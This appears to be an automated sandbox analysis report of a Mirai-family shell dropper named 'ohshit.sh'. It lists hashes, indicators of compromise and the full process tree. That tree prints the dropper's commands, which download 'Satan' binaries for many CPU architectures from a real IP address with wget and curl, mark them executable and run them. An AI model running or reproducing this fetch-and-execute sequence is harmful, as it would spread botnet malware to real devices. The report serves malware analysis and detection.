Analysis
-
max time kernel
136s -
max time network
143s -
platform
debian-9_mipsel -
resource
debian9-mipsel-20240611-en -
resource tags
arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem -
submitted
14-11-2024 00:12
Static task
static1
Behavioral task
behavioral1
Sample
ohshit.sh
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
ohshit.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
ohshit.sh
Resource
debian9-mipsbe-20240611-en
General
-
Target
ohshit.sh
-
Size
2KB
-
MD5
c6fded176e564c4f582523ba198be43d
-
SHA1
e10b19d975f65e398b0a928f5e03b0f83aeadd65
-
SHA256
eb177007a8b2654ecbbfb91246abae4052bea475b54af2fe2c9e4058ba79ac82
-
SHA512
e0b9fed97a3b4b035dfdd5b1c3ee36f2571949abbd081dc02fdd24b911cb5ff4aa79036f263be7ca6e388bfb9fdfd41f33f2ab567bd17b5dd164072d82333b96
Malware Config
Extracted
mirai
LZRD
Extracted
mirai
LZRD
Signatures
-
Mirai family
-
File and Directory Permissions Modification 1 TTPs 15 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 739 chmod 758 chmod 819 chmod 746 chmod 793 chmod 866 chmod 881 chmod 887 chmod 898 chmod 904 chmod 752 chmod 843 chmod 875 chmod 774 chmod 893 chmod -
Executes dropped EXE 15 IoCs
ioc pid Process /tmp/Satan 740 Satan /tmp/Satan 747 Satan /tmp/Satan 753 Satan /tmp/Satan 759 Satan /tmp/Satan 775 Satan /tmp/Satan 795 Satan /tmp/Satan 820 Satan /tmp/Satan 845 Satan /tmp/Satan 867 Satan /tmp/Satan 876 Satan /tmp/Satan 882 Satan /tmp/Satan 888 Satan /tmp/Satan 894 Satan /tmp/Satan 899 Satan /tmp/Satan 905 Satan -
Modifies Watchdog functionality 1 TTPs 2 IoCs
Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.
description ioc Process File opened for modification /dev/watchdog Satan File opened for modification /dev/misc/watchdog Satan -
Enumerates running processes
Discovers information about currently running processes on the system
-
Writes file to system bin folder 2 IoCs
description ioc Process File opened for modification /sbin/watchdog Satan File opened for modification /bin/watchdog Satan -
resource yara_rule behavioral4/files/fstream-5.dat upx behavioral4/files/fstream-6.dat upx behavioral4/files/fstream-7.dat upx behavioral4/files/fstream-8.dat upx -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/16/status Satan File opened for reading /proc/232/status Satan File opened for reading /proc/803/status Satan File opened for reading /proc/820/status Satan File opened for reading /proc/67/status Satan File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/filesystems cp File opened for reading /proc/13/status Satan File opened for reading /proc/17/status Satan File opened for reading /proc/66/status Satan File opened for reading /proc/36/status Satan File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/8/status Satan File opened for reading /proc/9/status Satan File opened for reading /proc/12/status Satan File opened for reading /proc/712/status Satan File opened for reading /proc/19/status Satan File opened for reading /proc/23/status Satan File opened for reading /proc/354/status Satan File opened for reading /proc/675/status Satan File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/14/status Satan File opened for reading /proc/15/status Satan File opened for reading /proc/5/status Satan File opened for reading /proc/79/status Satan File opened for reading /proc/149/status Satan File opened for reading /proc/20/status Satan File opened for reading /proc/321/status Satan File opened for reading /proc/686/status Satan File opened for reading /proc/705/status Satan File opened for reading /proc/707/status Satan File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/24/status Satan File opened for reading /proc/167/status Satan File opened for reading /proc/669/status Satan File opened for reading /proc/816/status Satan File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/6/status Satan File opened for reading /proc/22/status Satan File opened for reading /proc/379/status Satan File opened for reading /proc/676/status Satan File opened for reading /proc/706/status Satan File opened for reading /proc/708/status Satan File opened for reading /proc/37/status Satan File opened for reading /proc/146/status Satan File opened for reading /proc/384/status Satan File opened for reading /proc/672/status Satan File opened for reading /proc/18/status Satan File opened for reading /proc/21/status Satan File opened for reading /proc/323/status Satan File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/1/status Satan File opened for reading /proc/4/status Satan File opened for reading /proc/322/status Satan File opened for reading /proc/823/status Satan File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/70/status Satan File opened for reading /proc/76/status Satan File opened for reading /proc/116/status Satan -
System Network Configuration Discovery 1 TTPs 6 IoCs
Adversaries may gather information about the network configuration of a system.
pid Process 772 cat 778 wget 784 curl 792 cat 761 wget 762 curl -
Writes file to tmp directory 30 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/Satan ohshit.sh File opened for modification /tmp/Satan.i686 wget File opened for modification /tmp/Satan.mpsl curl File opened for modification /tmp/Satan.m68k curl File opened for modification /tmp/Satan.arm5 wget File opened for modification /tmp/Satan.arm7 wget File opened for modification /tmp/Satan.ppc wget File opened for modification /tmp/Satan.arm7 curl File opened for modification /tmp/Satan.sh4 curl File opened for modification /tmp/Satan.arc wget File opened for modification /tmp/Satan.mips64 curl File opened for modification /tmp/Satan.mpsl wget File opened for modification /tmp/Satan.arm6 curl File opened for modification /tmp/Satan.arc curl File opened for modification /tmp/Satan.x86_64 wget File opened for modification /tmp/Satan.mips curl File opened for modification /tmp/Satan.x86 wget File opened for modification /tmp/Satan.arm5 curl File opened for modification /tmp/Satan.arm6 wget File opened for modification /tmp/Satan.sh4 wget File opened for modification /tmp/Satan.x86 curl File opened for modification /tmp/Satan.i686 curl File opened for modification /tmp/Satan.arm wget File opened for modification /tmp/Satan.sparc curl File opened for modification /tmp/Satan.arm curl File opened for modification /tmp/Satan.ppc curl File opened for modification /tmp/Satan.m68k wget File opened for modification /tmp/busybox cp File opened for modification /tmp/Satan.x86_64 curl File opened for modification /tmp/Satan.mips wget
Processes
-
/tmp/ohshit.sh/tmp/ohshit.sh1⤵
- Writes file to tmp directory
PID:708 -
/bin/cpcp /bin/busybox /tmp/2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:710
-
-
/usr/bin/wgetwget http://45.137.70.156/nice/Satan.arc2⤵
- Writes file to tmp directory
PID:715
-
-
/usr/bin/curlcurl -O http://45.137.70.156/nice/Satan.arc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:731
-
-
/bin/catcat Satan.arc2⤵PID:738
-
-
/bin/chmodchmod +x busybox ohshit.sh Satan Satan.arc systemd-private-4fdf3de49c2840e993619be4f6cb9744-systemd-timedated.service-Y8kpNt2⤵
- File and Directory Permissions Modification
PID:739
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:740
-
-
/usr/bin/wgetwget http://45.137.70.156/nice/Satan.x862⤵
- Writes file to tmp directory
PID:742
-
-
/usr/bin/curlcurl -O http://45.137.70.156/nice/Satan.x862⤵
- Reads runtime system information
- Writes file to tmp directory
PID:744
-
-
/bin/catcat Satan.x862⤵PID:745
-
-
/bin/chmodchmod +x busybox ohshit.sh Satan Satan.arc Satan.x86 systemd-private-4fdf3de49c2840e993619be4f6cb9744-systemd-timedated.service-Y8kpNt2⤵
- File and Directory Permissions Modification
PID:746
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:747
-
-
/usr/bin/wgetwget http://45.137.70.156/nice/Satan.x86_642⤵
- Writes file to tmp directory
PID:749
-
-
/usr/bin/curlcurl -O http://45.137.70.156/nice/Satan.x86_642⤵
- Reads runtime system information
- Writes file to tmp directory
PID:750
-
-
/bin/catcat Satan.x86_642⤵PID:751
-
-
/bin/chmodchmod +x busybox ohshit.sh Satan Satan.arc Satan.x86 Satan.x86_64 systemd-private-4fdf3de49c2840e993619be4f6cb9744-systemd-timedated.service-Y8kpNt2⤵
- File and Directory Permissions Modification
PID:752
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:753
-
-
/usr/bin/wgetwget http://45.137.70.156/nice/Satan.i6862⤵
- Writes file to tmp directory
PID:755
-
-
/usr/bin/curlcurl -O http://45.137.70.156/nice/Satan.i6862⤵
- Writes file to tmp directory
PID:756
-
-
/bin/catcat Satan.i6862⤵PID:757
-
-
/bin/chmodchmod +x busybox ohshit.sh Satan Satan.arc Satan.i686 Satan.x86 Satan.x86_64 systemd-private-4fdf3de49c2840e993619be4f6cb9744-systemd-timedated.service-Y8kpNt2⤵
- File and Directory Permissions Modification
PID:758
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:759
-
-
/usr/bin/wgetwget http://45.137.70.156/nice/Satan.mips2⤵
- System Network Configuration Discovery
- Writes file to tmp directory
PID:761
-
-
/usr/bin/curlcurl -O http://45.137.70.156/nice/Satan.mips2⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:762
-
-
/bin/catcat Satan.mips2⤵
- System Network Configuration Discovery
PID:772
-
-
/bin/chmodchmod +x busybox ohshit.sh Satan Satan.arc Satan.i686 Satan.mips Satan.x86 Satan.x86_64 systemd-private-4fdf3de49c2840e993619be4f6cb9744-systemd-timedated.service-Y8kpNt2⤵
- File and Directory Permissions Modification
PID:774
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:775
-
-
/usr/bin/wgetwget http://45.137.70.156/nice/Satan.mips642⤵
- System Network Configuration Discovery
PID:778
-
-
/usr/bin/curlcurl -O http://45.137.70.156/nice/Satan.mips642⤵
- Reads runtime system information
- System Network Configuration Discovery
- Writes file to tmp directory
PID:784
-
-
/bin/catcat Satan.mips642⤵
- System Network Configuration Discovery
PID:792
-
-
/bin/chmodchmod +x busybox ohshit.sh Satan Satan.arc Satan.i686 Satan.mips Satan.mips64 Satan.x86 Satan.x86_64 systemd-private-4fdf3de49c2840e993619be4f6cb9744-systemd-timedated.service-Y8kpNt2⤵
- File and Directory Permissions Modification
PID:793
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:795
-
-
/usr/bin/wgetwget http://45.137.70.156/nice/Satan.mpsl2⤵
- Writes file to tmp directory
PID:797
-
-
/usr/bin/curlcurl -O http://45.137.70.156/nice/Satan.mpsl2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:806
-
-
/bin/catcat Satan.mpsl2⤵PID:818
-
-
/bin/chmodchmod +x busybox ohshit.sh Satan Satan.arc Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 systemd-private-4fdf3de49c2840e993619be4f6cb9744-systemd-timedated.service-Y8kpNt2⤵
- File and Directory Permissions Modification
PID:819
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
- Modifies Watchdog functionality
- Writes file to system bin folder
- Reads runtime system information
PID:820
-
-
/usr/bin/wgetwget http://45.137.70.156/nice/Satan.arm2⤵
- Writes file to tmp directory
PID:827
-
-
/usr/bin/curlcurl -O http://45.137.70.156/nice/Satan.arm2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:833
-
-
/bin/catcat Satan.arm2⤵PID:841
-
-
/bin/chmodchmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_64 systemd-private-4fdf3de49c2840e993619be4f6cb9744-systemd-timedated.service-Y8kpNt2⤵
- File and Directory Permissions Modification
PID:843
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:845
-
-
/usr/bin/wgetwget http://45.137.70.156/nice/Satan.arm52⤵
- Writes file to tmp directory
PID:847
-
-
/usr/bin/curlcurl -O http://45.137.70.156/nice/Satan.arm52⤵
- Reads runtime system information
- Writes file to tmp directory
PID:857
-
-
/bin/catcat Satan.arm52⤵PID:864
-
-
/bin/chmodchmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_642⤵
- File and Directory Permissions Modification
PID:866
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:867
-
-
/usr/bin/wgetwget http://45.137.70.156/nice/Satan.arm62⤵
- Writes file to tmp directory
PID:870
-
-
/usr/bin/curlcurl -O http://45.137.70.156/nice/Satan.arm62⤵
- Reads runtime system information
- Writes file to tmp directory
PID:873
-
-
/bin/catcat Satan.arm62⤵PID:874
-
-
/bin/chmodchmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_642⤵
- File and Directory Permissions Modification
PID:875
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:876
-
-
/usr/bin/wgetwget http://45.137.70.156/nice/Satan.arm72⤵
- Writes file to tmp directory
PID:878
-
-
/usr/bin/curlcurl -O http://45.137.70.156/nice/Satan.arm72⤵
- Reads runtime system information
- Writes file to tmp directory
PID:879
-
-
/bin/catcat Satan.arm72⤵PID:880
-
-
/bin/chmodchmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.x86 Satan.x86_642⤵
- File and Directory Permissions Modification
PID:881
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:882
-
-
/usr/bin/wgetwget http://45.137.70.156/nice/Satan.ppc2⤵
- Writes file to tmp directory
PID:884
-
-
/usr/bin/curlcurl -O http://45.137.70.156/nice/Satan.ppc2⤵
- Writes file to tmp directory
PID:885
-
-
/bin/catcat Satan.ppc2⤵PID:886
-
-
/bin/chmodchmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.x86 Satan.x86_642⤵
- File and Directory Permissions Modification
PID:887
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:888
-
-
/usr/bin/wgetwget http://45.137.70.156/nice/Satan.sparc2⤵PID:890
-
-
/usr/bin/curlcurl -O http://45.137.70.156/nice/Satan.sparc2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:891
-
-
/bin/catcat Satan.sparc2⤵PID:892
-
-
/bin/chmodchmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sparc Satan.x86 Satan.x86_642⤵
- File and Directory Permissions Modification
PID:893
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:894
-
-
/usr/bin/wgetwget http://45.137.70.156/nice/Satan.m68k2⤵
- Writes file to tmp directory
PID:895
-
-
/usr/bin/curlcurl -O http://45.137.70.156/nice/Satan.m68k2⤵
- Reads runtime system information
- Writes file to tmp directory
PID:896
-
-
/bin/catcat Satan.m68k2⤵PID:897
-
-
/bin/chmodchmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.m68k Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sparc Satan.x86 Satan.x86_642⤵
- File and Directory Permissions Modification
PID:898
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:899
-
-
/usr/bin/wgetwget http://45.137.70.156/nice/Satan.sh42⤵
- Writes file to tmp directory
PID:901
-
-
/usr/bin/curlcurl -O http://45.137.70.156/nice/Satan.sh42⤵
- Writes file to tmp directory
PID:902
-
-
/bin/catcat Satan.sh42⤵PID:903
-
-
/bin/chmodchmod +x busybox ohshit.sh Satan Satan.arc Satan.arm Satan.arm5 Satan.arm6 Satan.arm7 Satan.i686 Satan.m68k Satan.mips Satan.mips64 Satan.mpsl Satan.ppc Satan.sh4 Satan.sparc Satan.x86 Satan.x86_642⤵
- File and Directory Permissions Modification
PID:904
-
-
/tmp/Satan./Satan2⤵
- Executes dropped EXE
PID:905
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
37KB
MD582509bfc921627d6e784bae29a9ba61f
SHA1aeadcb2cdf407a6018c8cbdb82b7d9b385f12be6
SHA25672e5f68a809d396480993cde5c6802a046394f2e7a92320533e34de2142fa92f
SHA512ea43e1a867b233cb4e9b338f410b494461712b66ffb11ab1c170cf7d3f7724d6e9cd71d73934b33d2e66364f40b4e5375cf06c0bf3dc40f246da72a7388aee37
-
Filesize
36KB
MD5a36d6912cada96cf8d7d1b4ac81d5ed4
SHA1021a174c6fab933f38a5d644d971e42f05c445f6
SHA2562f7cd7e67e418f444df3cb977ca175d82150d9042fc99df1fc454e2f6212338f
SHA512dab6d68cb17c4b17049f672f23ca57f238af7a7df28d61b8650efbf13839fd14c03032712f7ffa94da5456eda82a2e8006b8f7e01cda1ce17f057fa8542153d4
-
Filesize
37KB
MD5a0f30582410121013dcefbd9dd77e202
SHA16bdaf023301546dc697c10bf642491f58b3323da
SHA25649b23a5a004a963df243807e75a4cb3450c9242377b4eb2f2dfe274a80542dd8
SHA51284cb36a6478f8656bbd2af41d849fb80fc3f484da7c12b79ec3fcdf765ba8ea47cecc31bbc62a190797e7c547e29626a97c1f7028a2278ac2eb3f4eacfec261c
-
Filesize
43KB
MD5fc8fa00d2bab0e54a11de49a7336b374
SHA19aa455a4b31ee6bf3e1818c2d6f735f12e7d48df
SHA2565a4708cbd285f67c685f1e2490fad2b2613b304e0ef493c134236a1df7c38b8a
SHA512d1cb3c771e7ea6f8ad2fb800a9d4e852045a750a0e143aeb1073990cde7ed9395c472555fb51767c245373125277420f0836fcac03a49d9b82c3b68dcdde7d65
-
Filesize
95KB
MD52371b5e3624b90ac86ba4a0228f0e1d8
SHA188eaa697ce1953c96d1f44ec54327decb6539ed0
SHA2567d87ba2ca57ad1d4cfb3dc2ef6d3a878b60c8f2e9240e5580a29967ab245eada
SHA51269b9c02c070c92fab4e416436c1a25905d1c78153c945abe4a7a9cc6b1d2d95c9332bc6ec9cc82f08f4dd9ab9bb6d9e0eb34cf9128b1599404d1d7fd67d764aa
-
Filesize
113KB
MD56ccd2cf611113610ca7e9e6efafc43f0
SHA134d4a63a943b083fa733f57740643ce63d9f08c7
SHA2561c18b60204b6deea529a26f9532b4978eb6241dc45e9a3c0a02b4c69f4544ac4
SHA512c7439fc476482efcfeb7755331db01be3e4600eb543e495d08944492e67e8d8ed259c8b5dfa58b68b5f21e0b4b87c873b334a5dd128f8be5ae42a1a5fecef608
-
Filesize
857KB
MD56ffc46165b5d9726a6607f3ea5305589
SHA1ab127220f42e816b413dde0d17031e251a7bc98f
SHA25680d636e2f1237e9adc9ea0bf7f42b17d7df8781db0684c33696411e50588a38c
SHA512456fcd5d5bda524ef5236e00695a891cfefe15364f9c7a4ff04ad7dfdc7fd1726f037e905622216f13aee6c2d4ee90be0c850de82b3aac1d02a643db9f935af8